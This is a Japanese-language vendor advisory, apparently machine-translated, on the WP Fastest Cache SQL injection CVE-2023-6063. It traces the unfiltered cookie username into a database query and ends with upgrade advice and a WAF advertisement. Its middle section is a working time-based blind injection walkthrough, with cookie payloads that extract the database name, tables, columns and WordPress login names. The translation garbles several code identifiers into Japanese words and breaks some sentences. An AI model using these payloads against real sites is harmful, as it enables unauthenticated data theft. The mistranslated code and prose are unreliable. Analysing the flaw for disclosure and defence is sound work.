WP Fastest Cache プラグインと SQL インジェクションの脆弱性 (CVE-2023-6063)

WP Fastest Cache は、ページの読み込みを高速化し、訪問者のエクスペリエンスを向上させるために設計された WordPress キャッシュ プラグインです。その目的は、検索エンジンの結果ページ、特に Google でのウェブサイトのランキングを向上させることです。WordPress.org によると、このプラグインは 100 万を超えるウェブサイトで使用されています。問題は、WP Fastest Cache のバージョン 1.2.2 より前は SQL インジェクション攻撃に対して脆弱であり、認証のない攻撃者がサイトのデータベース コンテンツを読み取ることができるため、プライバシーとセキュリティに大きな懸念が生じる可能性があることです。

脆弱性分析

この脆弱性は、プラグインがキャッシュシステムを起動したときに発生します。具体的には、 wpFastestCache.php、キャッシュ機能が配置されている。 cache() 機能には「inc/cache.php" そしてその WpFastestCacheCreateCache クラスを実行する createCache() 関数。

追跡を続ける createCache() 機能する inc/cache.php、それは is_user_admin() ユーザーが管理者ユーザーであるかどうかを確認する関数です。 is_user_admin() 関数では、この関数がクッキーを反復処理して「wordpress_logged_in」キーと一致させ、最初に一致したフィールドを username 変数は、 $wpdb ウェブサイトのデータベースでクエリ操作を実行するためのグローバル変数。

我々は、 username SQL ステートメントのパラメータとして使用されますが、チェックやフィルタリング対策は適用されません。コア SQL ステートメントは次のとおりです：

SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value` FROM `$wpdb->users` INNER JOIN `$wpdb->usermeta` ON `$wpdb->users`.`user_login` = \"$username\" AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND $wpdb->usermeta`.`meta_value` = \"10\" AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;

これは主にwp_usersとwp_usermetaテーブル間の内部結合クエリを実行し、関連する列を含む行を検索します。コードは一致した $cookie_value, $username およびその中の文 get_var この情報をページに表示します。

ここまでのところ、 username クッキーから取得され、ユーザーの管理下にあります。さらに、 username いかなる形式のチェックやフィルタリングも行わずに、データベース実行のパラメータとして使用されます。ユーザーは上記の SQL ステートメントに悪意のあるコードを接続して、サイトに重大な損害を与える可能性があります。

脆弱性のウォークスルー

上記の分析とSQL文のリンクに基づいて、この注入ポイントはアプリケーションからのエラーメッセージやクエリ結果を直接繰り返していないことがわかり、時間ベースのブラインド注入になります。二重引用符を閉じて、 sleep(5) 遅延機能を使用すると、SQL 文が正常に実行されたかどうかを判断できます。

ステートメントが正常に連結されると、プログラムの実行が 5 秒遅れることがわかりました。連結されて実行されたステートメントは次のとおりです。

データベースアクセス

これに続いて、遅延注入メカニズムを利用してデータベース名の長さを決定することができます。使用されるステートメントは次のようになります。 root" AND if(length(database())=9,sleep(2),1) かつ "1"="1。 ここ、 root" と "1"="1 前後の二重引用符を閉じる役割を果たし、 if(式1,式2,式3) つまり、もし 表現1 が真実なら もし() 戻り値 表現2それ以外の場合は 表現3この場合、データベースの長さが 長さ(データベース())=9 が真実なら もし() 戻り値 眠る(2) 2 秒の遅延が発生し、それ以外の場合は 1 を返します。このように実行することで、現在のデータベースの長さを推測できます。

次のステップは、データベース名の構成を決定することです。使用するステートメントは次のとおりです。root" AND if(mid(database(),1,1)="w",sleep(1),1) かつ "1"="1同様に、 root" と "1"="1 元の二重引用符を閉じるために使用され、 sleep(1) プログラムは1秒遅れて実行されます。関数 mid(データベース(),1,1)="w" データベースの最初の文字が「w」であるかどうかを評価します。 ブルートフォース攻撃 この方法により、データベースの各文字が「WordPress」と綴られていることが推測されます。

データベーステーブル

次のステップは、データベース内のテーブルを決定することです。使用するステートメントは root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),1,1)="w", sleep(5),1) and "1"="1. これは、「wordpress」スキーマの最初のテーブルをクエリすることを意味します。 情報スキーマ データベースと 中間() 関数を使用して最初の文字を抽出し、 もし() 最初の文字が「w」かどうかを確認します。この方法により、WordPress データベース内のさまざまなテーブルの名前をブルートフォース攻撃できます。

2番目の文字のSQL文 root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),2,1)="p", sleep(5),1) and "1"="1

3番目の文字のSQL文 root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),3,1)="_", sleep(5),1) and "1"="1 … 結局、最初のテーブル名は wp_termmeta ブルートフォース攻撃が可能です。

同様に、クエリ結果を変更することで、 情報スキーマ ‘wordpress’ 内のテーブル用のデータベースでは、他のテーブルはブルートフォース攻撃を受ける可能性があります。

WordPress の 2 番目のテーブルの最初の文字の SQL ステートメント root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),1,1)="w", sleep(5),1) and "1"="1

WordPress の 2 番目のテーブルの 2 番目の文字の SQL ステートメント root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),2,1)="p", sleep(5),1) and "1"="1 … WordPressの3番目のテーブルの最初の文字のSQL文 root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),1,1)="w", sleep(5),1) and "1"="1

WordPress の 3 番目のテーブルの 2 番目の文字の SQL ステートメント root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),2,1)="w", sleep(5),1) and "1"="1 …これに基づいて、WordPress データベース内のすべてのテーブルをブルートフォース攻撃することができます。

データベース内のすべてのテーブルを取得したら、次のステップは、次の文を使用してテーブル内の列をブルートフォースで調べることです。 root" AND if(mid((select column_name from information_schema.columns where table_name = 'wp_users' limit 1),1,1)="I", sleep(5),1) and "1"="1これには、 wp_users の中に 情報スキーマ データベースからmid()関数を使用して最初の文字を抽出し、 もし() この文字が「I」であるかどうかを確認します。同様に、このメソッドを使用して、テーブル内の列の名前をブルートフォースで調べることもできます。

テーブル内のすべての列名を取得した後、次のステップは、次の文を使用してテーブル内の列の値をブルートフォースで取得することです。 root" AND if(mid((select user_login from wp_users limit 1),1,1)="r", sleep(5),1) and "1"="1これは、 user_login フィールドの wp_users テーブルと 中間() 関数を使用して最初の文字を抽出し、 もし() この文字が「r」かどうかを確認します。上記と同様に、このメソッドを使用して、テーブル内の各列名の値をブルートフォースで調べることができます。

WordPress サイトに対する SQL インジェクションの脅威はどの程度蔓延していますか?

SQL インジェクション攻撃は、特に WP Fastest Cache プラグインの例で説明したように、脆弱性のあるプラグインやテーマを使用している WordPress サイトにとって、一般的な脅威です。

SQL インジェクション攻撃のリスクを軽減するために、WordPress サイトの所有者は、ソフトウェアを最新の状態に保つ、信頼できるプラグインとテーマを使用する、セキュリティ プラグインまたはファイアウォールを実装する、サイト データを定期的にバックアップするなどのセキュリティのベスト プラクティスに従う必要があります。

このガイドで取り上げた問題に対処する最も効果的な方法は、WP Fastest Cache を最新バージョンにアップグレードすることです。当社の分析により、WP Fastest Cache の 1.2.2 より前のバージョンのみが脆弱であることが判明しました。つまり、プラグインを更新することがこの問題を軽減する最も効果的な方法です。

CDNetworksでWordPressサイトを保護する

CDNetworks の WAF ソリューションは、セキュリティ上の欠陥が悪用される前に修正し、バージョン 1.2.2 より前の WP Fastest Cache WordPress プラグインに存在する SQL インジェクションの脅威などの脆弱性を排除します。

CDNetworks クラウド型WAF は、この脆弱性の悪用から保護するとともに、他の悪意のある攻撃方法を継続的に調査および分析するクラウドベースのソリューションです。